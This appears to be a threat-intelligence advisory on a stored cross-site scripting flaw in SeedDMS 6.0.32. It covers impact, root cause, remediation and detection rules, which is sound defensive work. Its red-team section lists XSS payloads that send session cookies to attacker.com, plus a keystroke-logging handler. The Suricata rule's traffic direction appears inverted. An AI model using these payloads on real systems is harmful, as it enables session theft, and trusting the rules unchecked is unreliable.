CVE-2025-45754

Executive Summary

CVE-2025-45754 is a stored cross-site scripting (XSS) vulnerability in SeedDMS version 6.0.32. An authenticated attacker with document creation privileges can inject arbitrary JavaScript payloads by crafting a document name containing malicious code. When other users view or interact with the document listing, the payload executes in their browser context, potentially leading to session hijacking, credential theft, or further internal attacks. The vulnerability is unpatched as of the latest known release, and no official patch or advisory has been published by the vendor.

Supply Chain & Package Security

SeedDMS is a PHP-based document management system distributed as a standalone application. It is not available via NPM, PyPI, Go, or Ruby registries. The vulnerability exists in the core application code, not in a third-party dependency. Users should monitor the official SeedDMS repository for future patches and consider applying virtual patching via WAF rules.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs a valid user account with document creation rights.
• User Interaction (UI): Required – Victim must view the malicious document listing.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the lack of a patch and the potential for chaining with other vulnerabilities elevates the concern.

Deep Dive & Mechanics

The vulnerability resides in the document creation functionality of SeedDMS. When a user creates a new document, the application accepts a user-supplied document name without proper sanitization or encoding. This name is later rendered in the document listing page (e.g., in a table or list view) without escaping HTML entities.

Attack Flow:

1. Attacker logs in with a valid account.
2. Attacker creates a new document with a name such as: <img src=x onerror=alert('XSS')>.
3. The application stores this name in the database.
4. When any user (including administrators) navigates to the document listing page, the malicious name is rendered as HTML.
5. The browser executes the injected JavaScript.

Root Cause: The application fails to apply output encoding (e.g., htmlspecialchars() in PHP) when displaying the document name. The input is stored as-is and later echoed without escaping.

Impact: An attacker can:

• Steal session cookies (if HttpOnly flag is not set).
• Perform actions on behalf of the victim (e.g., delete documents, change permissions).
• Redirect users to phishing pages.
• Deface the application interface.

Vulnerable vs. Patched Code

Vulnerable Code (SeedDMS 6.0.32):

// In out/out.DocumentList.php or similar view file
echo "<td>" . $document['name'] . "</td>";

Patched Code (Hypothetical Fix):

// Properly escape output
echo "<td>" . htmlspecialchars($document['name'], ENT_QUOTES, 'UTF-8') . "</td>";

Explanation: The vulnerable code directly outputs the document name without any encoding. The patched version uses htmlspecialchars() to convert special characters (<, >, ", ', &) to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user account with document creation privileges.
• Access to the SeedDMS web interface.

Exploit Steps:

1. Log in to SeedDMS.
2. Navigate to "Add Document" or similar.
3. In the document name field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Complete the document creation process (e.g., upload a dummy file).
5. Wait for a victim to view the document list.

Alternative Payloads:

• Session theft: <img src=x onerror="new Image().src='https://attacker.com/?c='+document.cookie">
• Keylogger: <input onfocus="document.addEventListener('keydown',e=>fetch('/log?k='+e.key))">
• Phishing: <a href="https://evil.com" onclick="return false">Click here</a>

Blue Team

Detection:

• Monitor for document names containing HTML tags or JavaScript event handlers.
• Review web server logs for unusual POST requests to document creation endpoints with suspicious payloads.
• Use WAF rules to block common XSS patterns in document names.

Hunting:

• Query the database for document names containing <script, onerror, onload, or javascript:.
• Check for unexpected outbound connections from the SeedDMS server to unknown IPs.

Lab Setup:

• Deploy SeedDMS 6.0.32 in a Docker container.
• Create a test user with document creation rights.
• Use a browser with developer tools to inspect network traffic and cookie behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Unusual POST requests to /out/out.AddDocument.php or similar endpoints with HTML-encoded payloads.

Host IOCs:

• Document names in the database containing <script>, <img, or onerror attributes.
• Web server logs showing requests with %3Cscript%3E (URL-encoded <script>).

File IOCs:

• No specific file artifacts; the payload is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2025_45754_XSS_DocumentName {
    meta:
        description = "Detects stored XSS payloads in SeedDMS document names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45754"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: SeedDMS Stored XSS via Document Name
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects creation of documents with XSS payloads in SeedDMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'out.AddDocument'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in document names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-45754 SeedDMS Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"out.AddDocument"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable document creation for untrusted users until a patch is available.
2. Apply virtual patching using a WAF to block XSS patterns in document names.
3. Review existing documents for suspicious names and remove them.

Long-Term Fix:

• The vendor should release a patched version that properly escapes output using htmlspecialchars() or a templating engine with auto-escaping.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Set HttpOnly and Secure flags on session cookies.

Workarounds:

• Modify the source code manually to add htmlspecialchars() in the document listing view.
• Use a reverse proxy with XSS filtering capabilities.

Monitoring:

• Enable detailed logging for document creation and viewing.
• Regularly audit document names for malicious content.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert